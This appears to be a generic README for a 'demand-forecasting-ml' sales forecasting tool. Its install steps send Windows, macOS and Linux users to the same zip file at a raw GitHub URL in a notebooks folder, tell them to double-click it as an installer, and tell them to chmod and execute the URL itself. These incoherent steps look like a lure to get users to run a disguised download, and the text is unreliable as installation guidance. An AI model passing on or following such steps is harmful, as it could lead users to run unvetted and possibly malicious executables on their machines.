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πŸ“ˆ demand-forecasting-ml - Easy Forecasting for Your Business Needs

πŸš€ Getting Started

Welcome to the demand-forecasting-ml project! This software helps you predict product demand in e-commerce by using historical sales data. Our goal is to make forecasting easy for all users, even those without programming experience.

πŸ“₯ Download the Software

Download Latest Release

You can visit this page to download: GitHub Releases

πŸ› οΈ Prerequisites

Before you download, make sure your computer meets the following requirements:

  • Operating System: Windows 10 or later, macOS, or recent version of Linux.
  • Python Version: Python 3.6 or higher (We recommend version 3.8).
  • RAM: At least 4 GB.
  • Disk Space: Minimum of 1 GB available for installation and data storage.

πŸ“₯ Download & Install

To get started, follow these steps:

  1. Click on the download badge above or visit the GitHub Releases page.
  2. On the Releases page, find the latest version of the software.
  3. Look for the installation file named https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zip for Windows or https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zip for macOS, or the equivalent file for Linux.
  4. Click the file to begin your download.

Installation Steps

For Windows Users:

  1. Once the download is complete, find the file https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zip in your downloads folder.
  2. Double-click the installer file.
  3. Follow the prompts in the installation wizard to complete the setup.
  4. After installation, you can find the application in your Start Menu.

For macOS Users:

  1. After downloading, locate https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zip in your downloads.
  2. Double-click to open the package.
  3. Follow the on-screen instructions to install the software.
  4. You will find the application in your Applications folder.

For Linux Users:

  1. Download the appropriate installer for your distribution.
  2. Open a terminal and navigate to your download folder.
  3. Use the command: chmod +x https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zip to make it executable.
  4. Run the installer with https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zip.
  5. Follow the prompts to complete the installation.

βš™οΈ Using the Application

Once installed, you can start using the application:

  1. Open the demand-forecasting-ml app.
  2. You will see a user-friendly interface.
  3. You can upload your historical sales data in CSV format.
  4. After uploading, click on the Forecast Demand button.
  5. The software will analyze your data and provide you with forecasts for upcoming periods.

πŸ“š Features

  • User-Friendly Interface: Simple design for easy navigation.
  • Data Upload: Supports CSV files for importing your sales data.
  • Forecasting: Uses advanced machine learning techniques to predict demand.
  • Results Visualization: Displays forecasts in clear, understandable graphs.

πŸ“Š Understanding Demand Forecasting

Demand forecasting helps businesses understand future product needs, allowing them to stock effectively and avoid overstocking or stockouts. By analyzing past sales data, this application provides accurate predictions, which can lead to better planning and increased profitability.

πŸ” Troubleshooting

If you encounter issues, try the following steps:

  1. Ensure that you have met all prerequisites mentioned above.
  2. Make sure the CSV file is formatted correctly. Each entry should have a date and sales amount.
  3. Restart the application if it does not respond.

If the problem persists, consider checking online forums or submitting an issue on our GitHub page.

🀝 Contributing

We welcome contributions to improve the software. If you wish to help, please submit a pull request or contact us through our GitHub issues page.

πŸ‘ Acknowledgements

Thank you for using demand-forecasting-ml. We appreciate your support and feedback. We hope this tool helps you successfully manage your e-commerce business.

For the latest updates, features, and support, visit our GitHub Releases page.

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